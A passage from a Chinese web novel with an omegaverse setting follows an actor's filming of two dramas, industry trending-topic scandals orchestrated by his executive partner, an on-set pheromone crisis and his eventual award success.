他浅啜了一小口温水,声音有些沉还有点沙:“博士是小刀最敬重的前辈,研究所的意外不是他造成的,但是归根到底还是他认识了主角团队以后的连锁反应,所以在博士面前他会露出平常绝对见不到的慌乱,这种慌乱和心虚被戳穿后本来会正常地演变成‘我要更努力的做出成果’的坚定动力,但是博士选择在这个时候坦白他们之间的血缘关系,我觉得小刀一定是慌更多,惊其次,还有一部分的茫然,至于心虚,我认为会在听到身世的那一瞬间消失不见。”
“所以你等会儿就打算这么演?”钟潇楠的语调听不出褒贬。
他用鞋尖碾着身前的石头碎屑:“本来是这样打算的,但是刚才崔导说再琢磨琢磨。”
钟潇楠拖长尾音嗯了声:“那我从身为母亲的博士角度说说我的看法吧。杨小刀是个很聪明的孩子,继承了我所有的研究天分,我想让他成为新型研究的帮手,所以特地把他调到现在的部门,可是这时候我发现这个孩子可能藏着一些我不知道的秘密,我绝不会允许一件趁手的工具拥有自己的思想,所以要趁他心有愧疚时用亲情这把刀牢牢钉住他。”
“现在你觉得,这件事的重心应该落在哪儿?”
-
杨小刀接过热水,轻声道:“谢谢博士。”然后垂下眼想着要不要告诉博士研究所发生意外的真相,正思考着,就见博士把自己之前不知道遗落在哪儿的证件推到眼前。
“小刀。”
“啊。”他应声抬头,“谢谢”话音未落,就见面前敬仰的人眼含泪光道:“我终于找到你了。”
伸出的手僵在半空,“啊?”脑子里闪过很多的可能性,博士发现了什么?还是猜到了什么?眼泪是因为那些被破坏的仪器?还是为那些半途的成果可惜?
“没想到找了这么多年,我竟然早就把你调来了身边。”博士擦掉眼泪,欣慰地看着他,“不愧是我的孩子。”
水杯砸落在地,地毯被打湿了一小块。
杨小刀的嘴微微张着。是因为我?博士的眼泪不是因为那些东西,而是因为我?那个从不允许任何人在研究所出错的博士,为我,流了眼泪。
他愣愣地看着面前女人洇红的眼眶,然后慢慢的,笑了。
“卡!”崔导的声音透着掩藏不住的满意,“过!席棹不错!”
席棹意识过来的时候脸都快僵了,伸手搓了几下才脱离那个状态,“谢谢潇楠姐!”他对正欲离去的钟潇楠说。
“不用谢我,谢你自己。”
大雾的拍摄平稳地进行着,没戏的时候席棹会搬条小马扎到现场,找个不影响大家工作的角落坐着观察,观察每个人演戏时的习惯,给各自角色设计的特定动作,还有一些台词上故意调整出来的节奏重音。
这天趁着刚布完新的景,崔导通知众人:“这场追逐戏分成多段拍,前面的平地和小巷里稍微保留点体力,我要最后出小巷到大道上的那场和日落最后天际由红转紫转蓝撞到一起,明白吗?”
“明白!”一群人里小马声音最突出,惹得崔导忍不住笑看过来。
席棹热完身肘击了他一下,开玩笑的说了句:“别跑太快,我可赶不上你。”小马眨眨眼弹了个响舌,“让你追得轻松不就太假了吗?”
结果就是崔导一帧一帧看完回放,最后镜头定格在席棹扭曲的面部表情上,夸了句:“席棹眼神不错,记住那种感觉。”
他不敢说在翻跃那些木箱的时候自己心里想的是今晚必须好好教训小马一顿,恨得太真实了,完全没考虑收工后还有没有多余力气。
最后一场跑出巷子的转角戏,日落给他的时间只有短短三分钟,三分钟里他几乎是片刻不停地向前跑、撤回、再向前跑、再撤回这样反复,到最后双腿都打摆,被宽松的裤子遮盖住。
天际深蓝霞光消失的那一刻,他哐的一声脱力跪倒,被从对面大道跑回来的小马托着胳膊扶起:“席哥,辛苦辛苦。”
看着小马也有些泛白的嘴唇,他不忍苛责,摇摇头道:“怕吐,晚饭没吃,一会儿去整火锅。”
“行,喊温哥杨悠他们一起不?”
他看了眼那边人群里忙得脚不沾地的温晟贤:“温哥估计没空,就喊杨悠她们吧
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收工后,熟悉的火锅、熟悉的几人,唯一不同的是地点不再是那处老旧的小公寓,也不用怕留味而开着门窗。
小马摆上最后几盘菜招呼大家:“快快快谁夹到算谁的啊!”抬头一看发现几人都没动筷,反而一个个盯着手机猛瞧,“怎么了?都这么入神?”
他凑到席棹身边一看,惊呼道:“我靠,这、这属于资本那个圈子的秘辛了吧,谁这么不要命敢爆出来啊?”
热搜标题赫然写着“TA也是?!专向各行大佬输送伴侣的培训班被曝光!”,开篇直接放了一份名单,不用看也知道和标题挂的“各行大佬”有关。
杨悠突然道:“朱实茂导演?他夫人不是很有名的画家吗?我还没毕业的时候他们俩去我母校开过讲座,我朋友还买了他夫人的画,估计现在还挂在家里呢。”
“真的假的啊,这帖子里有更详细的爆料吗?”一聊到八卦,所有人都顾不上吃什么火锅了,刷帖的刷帖看群的看群,只有席棹看着开始沸腾的锅底若有所思。
小马掏出自己手机顺着热搜点进去品鉴起来,看着看着疑惑地开口:“悠悠,你说的那位画家夫人,你见过吗?”见杨悠点头后他把手机屏幕一转,“是她吗?”
杨悠确认了一眼:“你从哪儿弄到的照片?”
小马把帖子往下翻了几页递给她说:“你自己看吧,有好几个人出来作证,说她那些名校证件和社会身份都是捏造的,而且在朱实茂这个丈夫之前就已经有过两次婚姻了。”
这时本来在看其他爆料层的几人也开口:“诶等会儿,比起她,好像朱实茂本人的瓜更大啊。”
前后不过十分钟,贴子里讨论的对象从那些培训出来的“伴侣”转移到了“行业大佬”的身上,而其中朱实茂的讨论度一骑绝尘。
“哇,学历造假履历造假插足他人婚姻找代孕猥亵侵犯下属强/奸未遂涉嫌集体暴力事件......”
小马看得目瞪口呆:“这才是五毒俱全吧,这人什么来头啊,也没听说有什么作品,你们知道吗?”
席棹拿起筷子往锅里下菜:“他没有当过总导演,参与的项目成片出来后也不会挂上他的名字,只有跟过组的人知道。”
“那你怎么知道的?”刚问出口几人便反应过来,“啊,所以他不会就是你那部出道作的执行导演?联合导演?副导?”
“副导。”他拿公筷把烫好的菜平等地分到每个碗里,“行了别好奇那些东西了,和你们又没关系,先吃饭。”
深夜S市,宋采舟刚从浴室出来就被响个不停的手机吵得忍不住皱眉,“什么事?”
“他愿意掏钱,那想删就给他删呗,这种事也要来问我?”
“我有说不给撤热搜吗?我好像只说过‘如果数目不到位不用理’吧?”
“不过也不用急着回他,先按照下一步安排走,等八个小时后如果他还能开得出这个价码,那撤就撤吧。”
第二天一早,虽然没有戏份安排,但林善善还是送来了咖啡,“想说什么就说呗,跟我你还装什么。”席棹看着她支支吾吾的样子忍俊不禁。
林善善大松口气:“席哥,昨晚的热搜你看到了吧,不用搜,我已经爬了两小时楼了,和朱实茂有关的那些还在,但是不特意去找就看不到。”
他意识到这话的另一层含义,插完吸管拿手机的动作停了下来,果然就听林善善道:“你猜被拿来顶包的新热搜和谁有关?”
“曾英睿!”
42.第 42 章
“曾英睿剧组霸凌”的词条是凌晨出现的,到早高峰时已经碾压了其他话题稳居第一位。
看着底下的高赞楼层,席棹挑了挑眉:“这位自称曾英睿高中同学的网友爆料,说他上学时就和混社会团体的人走得近,还经常让人跑腿买东西不给钱,引导别人造同学黄谣并私底下传播,后来没毕业就退学了,没想到是到内地改名换姓当起明星了。”
“除了这个人以外,还有好几个说是小时候附近邻居、他亲戚同事家的人之类的出来爆料。”林善善不解道,“怎么去年他上热搜的时候这些人没一个出来认领,这回都冒出来倒油了?”
他轻笑一声:“是啊,为什么呢?”
林善善看他云淡风轻的样子,突然灵光一闪:“哦我明白了,不是先有热搜才引来了这些人,而是先有这些人才会有这个热搜的。”说着说着眼珠一转,“也是,换做是我,比起这种小明星的八卦,肯定还是对资本家们的丑闻更感兴趣,他这些事能比得过昨晚那个?鬼才信。”
到了晚上曾英睿的相关热搜还是稳居话题榜榜首,在不堪忍受对方经纪公司想掏钱撤热度的消息轰炸后,平台管理方终于还是联系到了宋采舟这里。
“你们怕什么,十多个小时,他们如果找得出反驳的证据早就给那些‘网友’发律师函了,还用得着低声下气花钱求你们?”宋采舟靠在椅子上翘着腿,面带微笑的看着塞满三个屏幕的不断变化的数据图。
“放心,只要这轮你们守住不松口,他那边会放弃的。现在的新人一抓一大把,一个没实绩的小明星,随便找个代替的还不简单吗?”
面对对方的疑问,他又说:“保一个曾英睿,和牺牲掉他博得资本的好感,换你你怎么选?以后别拿这种蠢问题来烦我。”
一天后,曾英睿的经纪公司果然发布了解约声明,并表示会对旗下全体艺人进行品行教育,以后在签约艺人方面也会做好背调慎之又慎,除去一小部分偏激的粉丝外,这个行为倒是博得了不少网民的好感。
自那份声明发布起,CTZ平台紧急暂停并且更换了接档剧的预热,曾英睿和《替身》这部电视剧随着讨论度的退去也逐渐消失在大众的视野里。
四月底的一个晴天,B市星汇娱乐公司董事长办公室内,裴明知亲自给对面的人倒上红酒,俨然一副心情很好的样子,“宋总的眼光真是够毒啊,本来我还在想是哪家同行胆子这么大直接往风口浪尖上撞,没想到是这样一出好戏,多亏了你的建议。”
宋采舟耸耸肩,接过酒杯和他碰了下:“还没恭喜裴总以五分之一的价格拿下这部A级项目独播权。”
裴明知做足了表面功夫,终于还是忍不住好奇问道:“不过我真的不明白,为什么CTZ宁愿亏本也要把这部片子出手,就算放着烂掉对他们也不会有什么影响吧?”
“我倒是可以解释,但你确定要听?”宋采舟意味深长道,“接下去的内容可不是单凭我手上资源能查到的。”裴明知一听立刻摆手:“不不不那还是别说了,我突然又不是那么想知道了。”
两人相视一笑,默契地放下了酒杯。
裴明知换了个话题问:“那你觉得这部片子怎么处理比较好,劣迹艺人的戏份删减后体量也只能当网剧播放,不如分割一下做个新形式?”
宋采舟抬眼:“为什么要全删减,免费的话题和宣传机会你不要吗?只是道德问题又没判他违法,多好的流量,还能围绕这个做几期专访,向媒体那边示个好,就当是星汇影音的入场券了。”
裴明知马上接收到其中意思,将杯中酒一饮而尽:“明白,那就多谢宋总提点了。”
五月初,星汇影音开始《替身》的宣传工作,一个新平台带着一部颇具争议的作品进入公众视野,网上起初骂声一片,认为劣迹艺人参演的作品就不该被搬到台前,更何况是主演。
但很快官方放出的预告片和各种物料扭转了网民的关注点,因为大家发现这部电视剧的主演信息栏里已然没有了曾英睿的名字,取而代之的男主演赫然列着“席棹”。
-席棹?我好像看到过这名字,之前说是男配来着,对吧?
-没错没错,这么说这部剧是重新剪辑和后期了?
-我想起来了,去年有个关于他路透的热搜,说是那个曾什么的替身。
-你记错了吧,现在不都禁用替身的吗,就之前H城影视基地那件事。
-什么事啊,我断网了?
-我知道我知道,就那个,替身演员溺亡的那事啊!
席棹是在下戏后从林善善和小马那里知道自己登上热搜的。
“放心吧席哥,公司安排了控评组,不会影响到正常播出的。”林善善在超话和论坛里潜水逛了一圈又说,“不过大家好像没什么负面情绪,反倒是关心到底有没有用替身的路人更多。”
有关影视作品使用替身的话题再度发酵,一年前有剧组操作不当致使替身演员意外身亡的事件再度被翻出来讨论,连带恰好撞名的电视剧《替身》搜索热度一路猛涨,拥有独播权的星汇影音也开始进入影视行业投资方的视野。
到五月中《替身》正式播出,单集热度已经达到了相当的高度,成为今年第一部破年龄圈层的影视作品,也正是在首播这样风评不定最容易被带节奏的关头,H城影视基地官方出面辟谣,称《替身》剧组拍摄期间严格遵循监管部门要求,从未使用替身演员。
同时监管部门当时负责督察任务的小组也转发了这条声明,官方盖章后,替身首集播放量直接翻了一倍,都是闻声进来看热闹的路人。
剧情还没完全展开的前期,相关的讨论帖下陆续涌出的基本都是路透照片路透视频,其中当然以席棹的居多。
-这身材,这脸,我的妈呀,这不比曾英睿那个小学鸡强多了
-夸就夸,拉踩是几个意思?
-楼上是曾某粉丝?正主都被封杀退圈了还不藏好点
-他叫席棹是吧,他站在那儿就和旁边的人不像一个次元的这是能说的吗?
-能说能说,我也想说,这是新人演员能拥有的气场吗
-太好了我的小墙头终于被看到了好开心
播出第二周,林善善顶着一副浓重的黑眼圈凑到席棹跟前:“席哥,你赔我眼泪。”
“?”他这两天累得晕头转向,压根没搞懂这突如其来的问责是怎么回事,“我怎么了?我下镜头的时间加起来也没半天,你少碰我瓷啊。”
林善善指了指自己肿的核桃似的眼睛:“昨晚的更新,虞陵上门争取角色差点被侵犯,电梯里那段我真的绷不住了,我敢说没人绷得住!”
他这才反应过来对方说的是替身里面的剧情,问道:“有那么夸张吗?”
林善善愤慨地说:“本来是没有的,都怪剪辑把虞陵前期拍男主戏的背影一起放进来,那段做的是真的好,甚至关掉BGM更有感觉。”
说着她打开剧集讨论区,翻出一个仅有十秒的视频说:“喏,有剧粉连夜做了二创。”席棹狐疑地点下播放。
这是虞陵衣衫凌乱的跑进电梯那段,全程都是从背后紧跟的视角镜头,每一步踉跄都有一瞬的凝滞,那瞬间虞陵身上叠着的是过去饰演的每个角色。
从衣着华贵肩背挺拔,到布衣褴褛瘦削孱弱。
最后电梯门关上的时候镜头也随之被挡,满屏冰冷的银灰中,那片被夹入其中的枯叶尖成了唯一的视觉焦点。
短短十秒,他仿佛看到了自己那两个月骤减的体重具象成型,这时候他才明白,宋采舟和乔颖说他瘦太多了时候的眼神都是不言而喻的心疼。
“看吧,你自己都红眼圈。”林善善煞有介事地撇嘴,“有时候时间才是最让人伤感的东
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西。”
压下眼眶周围的热度后,席棹若有所思的起身去找崔琳,他想他现在能摸到一点那场戏的感觉了。
《替身》因为主角的更换重新剪辑,从原本一个小替身演员和小透明编剧的爱情故事摇身一变,成了一个跌落云端的男演员在自身和编剧朋友的努力下挣扎出泥潭的成长故事。
由于原本虞陵的戏份就不算多,再减去对剧情没有任何作用的细枝末节,最后呈现出的整部剧就只有短短十二集。
六月初,播出第三周,《替身》进入收尾固分阶段,讨论区里对席棹外形的关注热度明显下降,转而都在讨论他的业务能力。
-好紧凑的剧情,好牛的镜头,好细腻的演技,妈妈,这才是我想看的电视剧
-席棹真的好适合苦情戏啊谁懂,眼眶红红的好有破碎感
-好厉害的感染力,每次到虐的地方他还没怎么样我就先哭了
-说句实话,比起前期的当红流量明星,他演落魄的部分更有说服力,逆境里的困苦太辣了嘶哈嘶哈
-楼上的,你只是馋他身子
-谁不馋?
-所以谁能告诉我,剧情到目前为止和“替身”这个词有什么关系?完全不扣题吧这
-对啊,感觉就是要蹭原版的热度
-哇,某退圈人士的粉丝还在串还在串
没等新的争论点发酵,星汇影音一口气放完了最后两集外加一个长达半小时的花絮合集,用内容堵上了部分观众的嘴。
距离被污蔑被软封杀进入事业低谷已经过去了两年,虞陵在采访中回顾自己入圈的经历,第一份工作正是给一位流量小生做替身,而那位小生早已因缺乏职业素养被行业抛弃查无此人。采访结束后他回到剧组,正好碰到了给自己当打戏替身的新人。
“虞陵老师,我能问您一个问题吗?”
“如果当初您没有因为拍戏落下严重腰伤,我是不是就没有给您当替身的机会了。”
虞陵看着初出茅庐的小孩儿,拍了拍他的肩说:“你不是给我当替身,是给未来的自己。”
《替身》全剧终。
花絮里更是放了当时席棹反复下水,泡到满脸苍白的旁观视角,还有他在近乎咆哮的画外音中从日落拍到凌晨的一场戏。
弹幕上几乎全是问句。“都这样了还有人说他拍戏用替身?”“恕我眼拙,这场磨了十个小时的戏前面的问题在哪?后面的区别又在哪?画外音的嗓门区别吗?”“就我觉得这画外音是故意刁难?”“前面的你不是一个人,这画外音谁啊?”“首先排除范导,他声音不这样,所以有人知道是谁吗?”
在众人的疑惑声中,《替身》迎来了它的收官评分。
林善善点进评分区一条一条地看,发现大部分观众的评价还是很中肯的。
-满分十分我觉得打个八分不过分,故事主线完整清晰,不水集数已经赢了现在市面上大半电视剧了
-十分,就当是我支持新人演员,那些换乘恋爱的老面孔看腻了
-我看剧还是蛮挑的,这部也是看到了别人的剪辑被吸引来的,本来没报太大期望,没想到两位主演让我眼前一亮,而且台词也都是原声,不错不错,席棹和舒越仪的剧以后我都关注一下的,打个八分吧
-舒越仪戏份比较少,但是好几次不同的情绪处理方式都很惊喜,天才感受派演员来的,小舒加油,十分奉上
其中也不乏几个打一分零分的,理由要么就是空白,有也是短短几个没参考价值的字,诸如“难看”“演员丑”“没看懂在讲什么”之类的,林善善翻着白眼迅速划过去。
就在她想整理一些言之有物的评价图晚点拿给席棹看时,温晟贤神色略显慌张地跑来:“席棹刚才拍戏的时候情绪过强,信息素受到刺激有些异常,他跟我说你有带他伴侣的舒缓剂来,快给我!”
43.第 43 章
席棹被抬到休息区的时候已经浑身发抖,勉强听到温晟贤隔着防护口罩的朦胧声音:“你上次易感期是什么时候?”
跟着林善善一起过来的剧组医生让温晟贤离远一些,拿了舒缓剂准备往他腺体里打,被他挣扎着躲开:“不行......会提前。”
医生听后皱眉问:“你之前有过用了舒缓剂后易感期提前的情况?什么时候的事?”
“去年九月。”他觉得自己的后颈烫的可怕,偏偏那里对气温变化最为敏感,冷风一吹,跟有千百根针齐往里扎一样。
医生靠近检查了腺体表面的情况,安慰他说:“没事,腺体反应不强烈,信息素也没有失控外溢的预兆,原本就在一个月及以上的易感期不会有提前风险,你现在需要的是让身体冷静下来,否则感知过载容易造成器官损伤。”
针管里的透明液体被平缓推进他的后颈,很快身体的颤抖就停止了。等他状态稳定下来以后,温晟贤才摘下防护口罩靠近,关切地问:“拍戏把自己逼成这样,你也是没谁了,有必要这么拼吗?”
“我没考虑到这些,不好意思,给大家添麻烦了。”
温晟贤语重心长道:“席棹,你不能一直这么依赖感觉,想演好一个角色找到感觉固然重要,但不是只能靠沉浸体验,我见过的奉行体验至上的演员......都不怎么健康。”说着轻叹口气拍了拍他的肩,“你很聪明,应该能明白我的意思。”
“谢谢温哥,我知道了。”
温晟贤离开后,林善善忧心忡忡地靠近在他身边坐下,“席哥,你别逼自己这么狠,虞陵那种程度的我看着都揪心,更何况是杨小刀这样的。”
杨小刀这样的?杨小刀怎样了?他自嘲地扯了下嘴角,发现自己根本笑不出来。是啊,这剧组里哪个人不知道杨小刀可怜,像小马杨悠她们这些早就看过剧本的人,更是第一次见面就直言为杨小刀哭过好多次。
可他最无奈的是自己只能靠不断叠加“悲”“惨”这样的情绪去塑造这个角色,这样单薄的演法总是缺了很多东西,他想抓住那些东西,却陷入了更悲更惨的情绪怪圈,才会发生今天这样的事。
“温哥说的其实没错。”他低喃着。
林善善没听清:“什么?”正要凑近就见他似乎下定了某种决心,转头道:“帮我联系乔颖姐,我需要专业的表演老师。”
《大雾》的进度一点点地往前推,自从上次强行吊起情绪吓了众人一跳以后,席棹开始有意地控制自己演戏时的代入感,崔导将他的改变看在眼里,虽然照样NG不到位的镜头,但终归还是给了尝试的机会。
到六月中陆续有配角演员杀青离组,席棹剩下的戏份也不多了。崔琳告诉他他的最后几场戏都安排在同一天,在那之前可以多和其他演员交流一□□会。
这天天气异常的热,他把怀里抱着的花递给终于下戏的小马:“恭喜杀青。”小马伸手给了他一个拥抱,还小心地侧了点头,没把脸上化妆出来的血污蹭到他身上。
接过花后小马笑笑说:“我下个工作还早,跟经纪人申请了多待两天,你需要帮忙对戏什么的尽管开口,别跟我客气。”
“谢了。”他知道对方也许是担心两天后自己的杀青戏没法顺利完成才会有此举动,心中很是感动,“你可一定要来片场监督。”
“那当然。”小马试图宽慰他,“你压力也别太大,虽然到时候肯定不容易,但有崔导把着关呢,放轻松些。”
不容易的杀青戏在一个阴天开始,上午结束了杨小刀和博士对峙的戏份后,席棹筋疲力尽地嘱咐林善善不要叫醒自己,然后钻进休息室倒头就睡了。
等他醒来正要去化妆间补妆时,却发现片场一个人都没有,整片昏暗的环境中只有边缘一点地灯的黄光,他的脚步停下,四周寂静席卷过全身。
拿手机看了眼时间,他瞬间心慌起来。已经是开工时间了,大家都去哪儿了?下午的戏临时有变动吗?怎么没有人通知自己,群里也没有消息。
他后背一凉,直直地往里走,推开门看到的不是往常的道具室,而是一间实验室,和大雾里面被毁掉后新建的研究所地下一模一样的,实验室。
梦?
他伸手贴上银白机舱,刺骨的冰冷从手心钻进身体里。
昏昏沉沉的大脑还没来得及多加思考,正对面的屏幕突然亮起,上面缓慢地浮现一行字——结束这一切吧。
“结束这一切吧。”他低声念了出来,恍惚之间想起这好像是谁的台词。
检测到语音输入后,屏幕上的字碎成一连串代码,渐渐消失,随之出现的是一段视频。
眼底火光映照起来的瞬间,他猛地后退几步却撞上了门框,焦土的气味涌进鼻腔,他捂着口鼻想打开门,很快惊恐地发现门已经被锁死。
屏幕上的火转眼大起来向四周蔓延,他的视线随着那些火舌移向两边,看到左右和头顶的墙壁甚至脚下的地砖上都出现了橙红火焰,它们一起向自己咆哮而来。
“啊——”
门被打开的时候,席棹不知道自己在机舱里躺了多久,手机被甩飞在角落,屏幕角满是裂痕。
所有墙壁上的显示屏早已暗下去,整个室内恢复成了原来洁白冰冷的模样。
“没事了,席棹,没事了。”被一双略微颤抖的手扶坐起来后,他机械地转头,看清来人的脸时动了下嘴唇:“你,来了。”
宋采舟不停地释放安抚信息素,慌乱地伸手擦去他脸上的泪和汗,低头亲了亲他的嘴唇,轻声道:“我来了,我在这。”
“采舟,我做到了。”说完这句话后,他就失去了意识。
席棹被送去了治疗室,宋采舟在温晟贤的带领下来到真正的摄影组所在的地方,这里已经被清场,只有导演崔琳坐在原地等待。
“崔导,既然你差人请我来,想必清楚我和席棹的关系。”他一步步走近,脸上完全没有了平日里温和的样子,指尖无声地点在桌面上说:“他有任何意外,我都会让你这部心血之作无法面世。”
“宋先生,首先我要向你道歉,允许你的爱人用这样的方式演戏,是我这个导演的失职。”崔琳满脸疲惫地站起身,朝他深深地鞠了一躬,“对不起。”
然后她把一份纸质协议递给宋采舟:“当时他提出这样的方式,我有拒绝过,也尝试着开导过,但他宁愿签下免责声明也要坚持,虽然从结果看来他是对的,但还是对不起。”
宋采舟眼睫一颤,只扫了眼就移开了视线,在房间里来回踱步,最后说道:“我会等他恢复清醒后和他好好聊聊,再根据情况决定是否追责。”
崔琳点头:“应该的,今天他的所有镜头都会被原样留存,他的努力和天赋会被看到的。”
没想到宋采舟听后嗤笑了声,略带嘲弄的问:“你觉得这是他的天赋?”
席棹醒来时已经是深夜,一睁眼就看到守在一旁的宋采舟,他挣扎着起身握住一脸倦意的人的手,说了句:“抱歉,让你担心了。”
宋采舟责怪的话转了几圈都说不出口,最后叹口气反握住他:“这样很危险,我跟你说过的,腺体出意外可能会危及性命,我不管你以前的拍戏方式是怎样的,以后不许再这么冒险。”
“好。”他抬起宋采舟的手,在那冰凉的指尖轻吻了下,“我已经让乔颖姐去找专业的表演老师了,回去以后就上课,但这次是我坚持自己的主意,我真的很想把这个角色好好诠释出来,你别怪导演组。”
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“知道了。”宋采舟的脸色还是有些不快,“看在她主动请我过来的份上,我不会计较。”
杨小刀一角正式杀青,在离组之前席棹被崔琳叫到导演办公室,里面还有一个人。
“重新介绍一下,这是我侄子,新人导演温晟贤。”崔琳在他惊愕的目光中开口,“他回国跟我的组主要是为他的第一部作品物色演员,剩下的你们俩自己聊吧,我先出去了。”
崔琳走后,温晟贤笑着说道:“我对国内的电影圈其实不是很了解,也不想用那些混圈子久了的老油条,一个是资金不允许,还有就是我更喜欢从零开始,所以到姑姑这儿就是来淘金的。”
“席棹,你是我淘到的第一块金子,有没有兴趣和我合作,做我的首作男一号,一起给这个圈子来点新鲜的冲击,怎么样?”
七月下旬,温晟贤自编自导的第一部电影作品《曙光之都》正式开机,席棹作为男一号出演,四十天后《曙光之都》杀青。
十一月一日《曙光之都》赶在年末评选前上线,在档三十天创下新人导演最高纪录,口碑票房双丰收,成为今年电影档当之无愧的最大黑马。
十二月中,在宋采舟和宋英酬的对赌协议仅剩三天时,席棹拿下电影节年度最佳新人奖,一炮而红的同时《大雾》宣布定档春节,放出的全员海报中钟潇楠和席棹饰演的母子引起了广泛讨论。
-怎么又是席棹?他是资源咖吧?
-别招笑了楼上的,好好了解下崔琳是什么人再说话成不?
-真的吗真的吗,还有人能看了《替身》和《曙光之都》后不被席棹圈粉吗?我不信
-谁懂,我真希望席棹是资源咖,哪位大佬能看看我家金瓜
-《曙光之都》整个项目都穷成那样了还资源咖呢?再来个一样经费的配置往电影圈一扔你看有谁敢接呢?
-开眼了,这也能资源咖
-都别吵!我来说句母道话!所有人拿起手机预约这个《大雾》!
-听你的,已预约
-已预约+1
-已预约+身份证号
宋家,在一片压抑的沉寂中,宋采舟微笑着把宋英酬那只全球唯一的新星一号钢笔别进自己的口袋,对座上几人道:“爷爷,爸,父亲,二叔,难得大家都在,一起做个见证吧,对赌协议我完成了,从今天开始宋氏集团的娱乐产业板块就由我来管理,没问题吧。”
宋英酬脸色铁青,但数据和其所代表的真金白银摆在眼前,他终究说不出什么。
柏清澜轻咳了声,在几人关切的眼神下开口:“英烜,小舟和英酬的协议每一步都符合章程,但你是宋氏集团董事长,你来宣布吧。”
宋英烜那张和宋英酬七分相似的脸上面无表情,他看看柏清澜又看看宋采舟,最后转了转手上扳指,点头。
“今年过年还是回家来吧。”沉默了许久的宋老爷子突然出声,连柏清澜都惊讶地看过去。
宋采舟却说:“我和席棹说好了陪他一起跨年,他在哪儿,我在哪儿。”
宋英烜转扳指的动作一顿正要开口呵斥,就听宋老爷子哼了声:“那就让他也一起过来,家里还住不下多一个人吗?”
在场所有人都没料到他会说出这样的话,包括宋采舟自己。
“父亲?”宋英烜和宋英酬同时转头,宋老爷子一抬手示意兄弟俩闭嘴,“行了,有什么要紧的,都消停点,让我好好过个团聚年吧。”
“父亲,既然是团聚年,那阿闻那边?”柏清澜浅笑着问。
“......”宋老爷子眯了眯眼,“那就依你的意思,把那小子也叫回来吧。”
柏清澜放下手中茶杯,点头环视一圈道:“好,那就依‘我’的意思。”